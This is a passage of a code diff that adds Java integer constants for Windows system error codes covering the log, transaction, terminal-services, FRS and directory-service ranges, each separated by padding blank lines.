+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_READ_CONTEXT_INVALID = 6606;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_RESTART_INVALID = 6607;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_BLOCK_VERSION = 6608;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_BLOCK_INVALID = 6609;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_READ_MODE_INVALID = 6610;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_NO_RESTART = 6611;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_METADATA_CORRUPT = 6612;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_METADATA_INVALID = 6613;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_METADATA_INCONSISTENT = 6614;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_RESERVATION_INVALID = 6615;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_CANT_DELETE = 6616;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_CONTAINER_LIMIT_EXCEEDED = 6617;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_START_OF_LOG = 6618;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_POLICY_ALREADY_INSTALLED = 6619;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_POLICY_NOT_INSTALLED = 6620;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_POLICY_INVALID = 6621;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_POLICY_CONFLICT = 6622;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_PINNED_ARCHIVE_TAIL = 6623;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_RECORD_NONEXISTENT = 6624;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_RECORDS_RESERVED_INVALID = 6625;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_SPACE_RESERVED_INVALID = 6626;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_TAIL_INVALID = 6627;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_FULL = 6628;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_COULD_NOT_RESIZE_LOG = 6629;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_MULTIPLEXED = 6630;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_DEDICATED = 6631;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_ARCHIVE_NOT_IN_PROGRESS = 6632;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_ARCHIVE_IN_PROGRESS = 6633;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_EPHEMERAL = 6634;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_NOT_ENOUGH_CONTAINERS = 6635;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_CLIENT_ALREADY_REGISTERED = 6636;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_CLIENT_NOT_REGISTERED = 6637;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_FULL_HANDLER_IN_PROGRESS = 6638;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_CONTAINER_READ_FAILED = 6639;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_CONTAINER_WRITE_FAILED = 6640;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_CONTAINER_OPEN_FAILED = 6641;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_CONTAINER_STATE_INVALID = 6642;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_STATE_INVALID = 6643;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_PINNED = 6644;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_METADATA_FLUSH_FAILED = 6645;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_INCONSISTENT_SECURITY = 6646;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_APPENDED_FLUSH_FAILED = 6647;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_PINNED_RESERVATION = 6648;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_TRANSACTION = 6700;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_NOT_ACTIVE = 6701;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_REQUEST_NOT_VALID = 6702;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_NOT_REQUESTED = 6703;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_ALREADY_ABORTED = 6704;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_ALREADY_COMMITTED = 6705;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TM_INITIALIZATION_FAILED = 6706;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCEMANAGER_READ_ONLY = 6707;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_NOT_JOINED = 6708;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_SUPERIOR_EXISTS = 6709;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CRM_PROTOCOL_ALREADY_EXISTS = 6710;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_PROPAGATION_FAILED = 6711;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CRM_PROTOCOL_NOT_FOUND = 6712;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_INVALID_MARSHALL_BUFFER = 6713;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CURRENT_TRANSACTION_NOT_VALID = 6714;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_NOT_FOUND = 6715;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCEMANAGER_NOT_FOUND = 6716;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_ENLISTMENT_NOT_FOUND = 6717;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTIONMANAGER_NOT_FOUND = 6718;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTIONMANAGER_NOT_ONLINE = 6719;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION = 6720;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_NOT_ROOT = 6721;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_OBJECT_EXPIRED = 6722;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_RESPONSE_NOT_ENLISTED = 6723;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_RECORD_TOO_LONG = 6724;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IMPLICIT_TRANSACTION_NOT_SUPPORTED = 6725;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_INTEGRITY_VIOLATED = 6726;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTIONAL_CONFLICT = 6800;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RM_NOT_ACTIVE = 6801;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RM_METADATA_CORRUPT = 6802;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DIRECTORY_NOT_RM = 6803;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE = 6805;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_RESIZE_INVALID_SIZE = 6806;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_OBJECT_NO_LONGER_EXISTS = 6807;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_STREAM_MINIVERSION_NOT_FOUND = 6808;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_STREAM_MINIVERSION_NOT_VALID = 6809;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION = 6810;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT = 6811;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_CREATE_MORE_STREAM_MINIVERSIONS = 6812;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_REMOTE_FILE_VERSION_MISMATCH = 6814;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_HANDLE_NO_LONGER_VALID = 6815;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NO_TXF_METADATA = 6816;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_CORRUPTION_DETECTED = 6817;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_RECOVER_WITH_HANDLE_OPEN = 6818;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RM_DISCONNECTED = 6819;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_ENLISTMENT_NOT_SUPERIOR = 6820;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RECOVERY_NOT_NEEDED = 6821;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RM_ALREADY_STARTED = 6822;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_FILE_IDENTITY_NOT_PERSISTENT = 6823;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_BREAK_TRANSACTIONAL_DEPENDENCY = 6824;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_CROSS_RM_BOUNDARY = 6825;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TXF_DIR_NOT_EMPTY = 6826;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_INDOUBT_TRANSACTIONS_EXIST = 6827;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TM_VOLATILE = 6828;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_ROLLBACK_TIMER_EXPIRED = 6829;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TXF_ATTRIBUTE_CORRUPT = 6830;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EFS_NOT_ALLOWED_IN_TRANSACTION = 6831;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTIONAL_OPEN_NOT_ALLOWED = 6832;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_GROWTH_FAILED = 6833;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE = 6834;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TXF_METADATA_ALREADY_PRESENT = 6835;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_SCOPE_CALLBACKS_NOT_SET = 6836;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_REQUIRED_PROMOTION = 6837;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CANNOT_EXECUTE_FILE_IN_TRANSACTION = 6838;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTIONS_NOT_FROZEN = 6839;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSACTION_FREEZE_IN_PROGRESS = 6840;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_SNAPSHOT_VOLUME = 6841;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SAVEPOINT_WITH_OPEN_FILES = 6842;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DATA_LOST_REPAIR = 6843;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SPARSE_NOT_ALLOWED_IN_TRANSACTION = 6844;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TM_IDENTITY_MISMATCH = 6845;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_FLOATED_SECTION = 6846;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CANNOT_ACCEPT_TRANSACTED_WORK = 6847;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CANNOT_ABORT_TRANSACTIONS = 6848;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_CLUSTERS = 6849;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION = 6850;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_VOLUME_DIRTY = 6851;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NO_LINK_TRACKING_IN_TRANSACTION = 6852;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_OPERATION_NOT_SUPPORTED_IN_TRANSACTION = 6853;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_WINSTATION_NAME_INVALID = 7001;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_INVALID_PD = 7002;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_PD_NOT_FOUND = 7003;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_WD_NOT_FOUND = 7004;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY = 7005;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_SERVICE_NAME_COLLISION = 7006;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_CLOSE_PENDING = 7007;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_NO_OUTBUF = 7008;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_MODEM_INF_NOT_FOUND = 7009;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_INVALID_MODEMNAME = 7010;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_MODEM_RESPONSE_ERROR = 7011;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_MODEM_RESPONSE_TIMEOUT = 7012;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_MODEM_RESPONSE_NO_CARRIER = 7013;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_MODEM_RESPONSE_NO_DIALTONE = 7014;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_MODEM_RESPONSE_BUSY = 7015;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_MODEM_RESPONSE_VOICE = 7016;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_TD_ERROR = 7017;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_WINSTATION_NOT_FOUND = 7022;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_WINSTATION_ALREADY_EXISTS = 7023;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_WINSTATION_BUSY = 7024;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_BAD_VIDEO_MODE = 7025;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_GRAPHICS_INVALID = 7035;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_LOGON_DISABLED = 7037;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_NOT_CONSOLE = 7038;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_CLIENT_QUERY_TIMEOUT = 7040;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_CONSOLE_DISCONNECT = 7041;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_CONSOLE_CONNECT = 7042;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_SHADOW_DENIED = 7044;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_WINSTATION_ACCESS_DENIED = 7045;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_INVALID_WD = 7049;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_SHADOW_INVALID = 7050;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_SHADOW_DISABLED = 7051;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_CLIENT_LICENSE_IN_USE = 7052;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_CLIENT_LICENSE_NOT_SET = 7053;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_LICENSE_NOT_AVAILABLE = 7054;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_LICENSE_CLIENT_INVALID = 7055;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_LICENSE_EXPIRED = 7056;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_SHADOW_NOT_RUNNING = 7057;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE = 7058;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_ACTIVATION_COUNT_EXCEEDED = 7059;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_WINSTATIONS_DISABLED = 7060;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_ENCRYPTION_LEVEL_REQUIRED = 7061;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_SESSION_IN_USE = 7062;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_NO_FORCE_LOGOFF = 7063;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_ACCOUNT_RESTRICTION = 7064;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RDP_PROTOCOL_ERROR = 7065;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_CDM_CONNECT = 7066;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_CDM_DISCONNECT = 7067;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CTX_SECURITY_LAYER_ERROR = 7068;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_TS_INCOMPATIBLE_SESSIONS = 7069;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_INVALID_API_SEQUENCE = 8001;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_STARTING_SERVICE = 8002;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_STOPPING_SERVICE = 8003;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_INTERNAL_API = 8004;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_INTERNAL = 8005;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_SERVICE_COMM = 8006;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_INSUFFICIENT_PRIV = 8007;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_AUTHENTICATION = 8008;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_PARENT_INSUFFICIENT_PRIV = 8009;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_PARENT_AUTHENTICATION = 8010;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_CHILD_TO_PARENT_COMM = 8011;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_PARENT_TO_CHILD_COMM = 8012;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_SYSVOL_POPULATE = 8013;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_SYSVOL_POPULATE_TIMEOUT = 8014;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_SYSVOL_IS_BUSY = 8015;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_SYSVOL_DEMOTE = 8016;
+  
+
+
+
+
+
+
+
+  public static final int FRS_ERR_INVALID_SERVICE_PARAMETER = 8017;
+  
+
+
+
+
+
+
+
+  public static final int DS_S_SUCCESS = 0;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NOT_INSTALLED = 8200;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY = 8201;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_ATTRIBUTE_OR_VALUE = 8202;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INVALID_ATTRIBUTE_SYNTAX = 8203;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED = 8204;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS = 8205;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_BUSY = 8206;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_UNAVAILABLE = 8207;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_RIDS_ALLOCATED = 8208;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_MORE_RIDS = 8209;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INCORRECT_ROLE_OWNER = 8210;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_RIDMGR_INIT_ERROR = 8211;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OBJ_CLASS_VIOLATION = 8212;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_ON_NON_LEAF = 8213;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_ON_RDN = 8214;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_MOD_OBJ_CLASS = 8215;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CROSS_DOM_MOVE_ERROR = 8216;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_GC_NOT_AVAILABLE = 8217;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SHARED_POLICY = 8218;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_POLICY_OBJECT_NOT_FOUND = 8219;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_POLICY_ONLY_IN_DS = 8220;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_PROMOTION_ACTIVE = 8221;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NO_PROMOTION_ACTIVE = 8222;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OPERATIONS_ERROR = 8224;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_PROTOCOL_ERROR = 8225;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_TIMELIMIT_EXCEEDED = 8226;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SIZELIMIT_EXCEEDED = 8227;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ADMIN_LIMIT_EXCEEDED = 8228;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_COMPARE_FALSE = 8229;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_COMPARE_TRUE = 8230;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_AUTH_METHOD_NOT_SUPPORTED = 8231;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_STRONG_AUTH_REQUIRED = 8232;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INAPPROPRIATE_AUTH = 8233;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_AUTH_UNKNOWN = 8234;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_REFERRAL = 8235;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_UNAVAILABLE_CRIT_EXTENSION = 8236;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CONFIDENTIALITY_REQUIRED = 8237;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INAPPROPRIATE_MATCHING = 8238;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CONSTRAINT_VIOLATION = 8239;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_SUCH_OBJECT = 8240;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ALIAS_PROBLEM = 8241;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INVALID_DN_SYNTAX = 8242;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_IS_LEAF = 8243;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ALIAS_DEREF_PROBLEM = 8244;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_UNWILLING_TO_PERFORM = 8245;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_LOOP_DETECT = 8246;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAMING_VIOLATION = 8247;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OBJECT_RESULTS_TOO_LARGE = 8248;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_AFFECTS_MULTIPLE_DSAS = 8249;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SERVER_DOWN = 8250;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_LOCAL_ERROR = 8251;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ENCODING_ERROR = 8252;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DECODING_ERROR = 8253;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_FILTER_UNKNOWN = 8254;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_PARAM_ERROR = 8255;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NOT_SUPPORTED = 8256;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_RESULTS_RETURNED = 8257;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CONTROL_NOT_FOUND = 8258;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CLIENT_LOOP = 8259;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_REFERRAL_LIMIT_EXCEEDED = 8260;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SORT_CONTROL_MISSING = 8261;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OFFSET_RANGE_ERROR = 8262;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ROOT_MUST_BE_NC = 8301;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ADD_REPLICA_INHIBITED = 8302;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ATT_NOT_DEF_IN_SCHEMA = 8303;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MAX_OBJ_SIZE_EXCEEDED = 8304;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OBJ_STRING_NAME_EXISTS = 8305;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA = 8306;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_RDN_DOESNT_MATCH_SCHEMA = 8307;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_REQUESTED_ATTS_FOUND = 8308;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_USER_BUFFER_TO_SMALL = 8309;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ATT_IS_NOT_ON_OBJ = 8310;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ILLEGAL_MOD_OPERATION = 8311;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OBJ_TOO_LARGE = 8312;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_BAD_INSTANCE_TYPE = 8313;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MASTERDSA_REQUIRED = 8314;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OBJECT_CLASS_REQUIRED = 8315;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MISSING_REQUIRED_ATT = 8316;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ATT_NOT_DEF_FOR_CLASS = 8317;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ATT_ALREADY_EXISTS = 8318;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_ADD_ATT_VALUES = 8320;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SINGLE_VALUE_CONSTRAINT = 8321;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_RANGE_CONSTRAINT = 8322;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ATT_VAL_ALREADY_EXISTS = 8323;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_REM_MISSING_ATT = 8324;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_REM_MISSING_ATT_VAL = 8325;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ROOT_CANT_BE_SUBREF = 8326;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_CHAINING = 8327;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_CHAINED_EVAL = 8328;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_PARENT_OBJECT = 8329;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_PARENT_IS_AN_ALIAS = 8330;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_MIX_MASTER_AND_REPS = 8331;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CHILDREN_EXIST = 8332;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OBJ_NOT_FOUND = 8333;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ALIASED_OBJ_MISSING = 8334;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_BAD_NAME_SYNTAX = 8335;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ALIAS_POINTS_TO_ALIAS = 8336;
+  
+
+
+
+
+
+
+
